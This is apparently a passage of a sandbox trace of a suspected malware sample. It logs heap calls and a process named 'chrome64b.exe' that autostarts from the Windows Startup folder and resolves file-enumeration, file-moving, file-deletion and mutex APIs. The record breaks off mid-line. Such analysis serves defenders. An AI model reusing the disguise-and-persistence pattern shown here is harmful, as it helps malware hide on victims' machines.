HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.213] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.213] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.375] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.420] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.421] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.423] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.423] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.480] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.496] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.498] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.498] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.499] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.568] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.692] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.727] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.727] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.727] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.744] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.745] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.745] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.745] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.752] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.752] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.754] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.754] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.755] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.755] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.756] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.756] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.757] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.758] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.758] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.758] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.759] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.759] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.759] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.759] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcda0 | out: hHeap=0x640000) returned 1 [0289.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.779] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.779] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.871] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.871] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.871] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 Thread: id = 61 os_tid = 0xdc0 Thread: id = 62 os_tid = 0xdc4 Thread: id = 64 os_tid = 0xdd4 Thread: id = 65 os_tid = 0xdd8 Thread: id = 66 os_tid = 0xddc Thread: id = 67 os_tid = 0xde0 Process: id = "7" image_name = "chrome64b.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe" page_root = "0x16830000" os_pid = "0xd28" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xd2c [0249.830] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76650000 [0249.830] GetProcAddress (hModule=0x76650000, lpProcName="GetProcAddress") returned 0x766651b0 [0249.830] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleHandleW") returned 0x766650d0 [0249.830] GetProcAddress (hModule=0x76650000, lpProcName="FindNextFileW") returned 0x766bee40 [0249.830] GetProcAddress (hModule=0x76650000, lpProcName="FindClose") returned 0x766bed70 [0249.830] GetProcAddress (hModule=0x76650000, lpProcName="MoveFileW") returned 0x7669e500 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetFileSizeEx") returned 0x766bef40 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleFileNameW") returned 0x76665090 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetFileAttributesW") returned 0x766bef10 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="ExitProcess") returned 0x76663cb0 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetCommandLineW") returned 0x76664cc0 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameW") returned 0x766932c0 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameA") returned 0x76693780 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="CreateMutexW") returned 0x766beb70 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenW") returned 0x76666c70 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenA") returned 0x76666c50 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcess") returned 0x766bea10 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="WaitForSingleObject") returned 0x766beca0 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetLogicalDrives") returned 0x76660d20 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="GetTickCount") returned 0x766bdd50 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="DeleteFileW") returned 0x766bed40 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="WideCharToMultiByte") returned 0x76666b10 [0249.831] GetProcAddress (hModule=0x76650000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x766bebb0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="Sleep") returned 0x76666760 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="LeaveCriticalSection") returned 0x774db250 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="ReadFile") returned 0x766bf090 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="CreateFileW") returned 0x766bed10 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="OpenMutexW") returned 0x766bebf0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="EnterCriticalSection") returned 0x774db2d0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="WaitForMultipleObjects") returned 0x766bec80 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiW") returned 0x76666bf0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiA") returned 0x76666bd0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="DeleteCriticalSection") returned 0x774bfb90 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="ReleaseMutex") returned 0x766bec20 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="CloseHandle") returned 0x766beab0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="GetVersion") returned 0x766656c0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="CreateThread") returned 0x766646b0 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="ExpandEnvironmentStringsW") returned 0x76664a40 [0249.832] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceCounter") returned 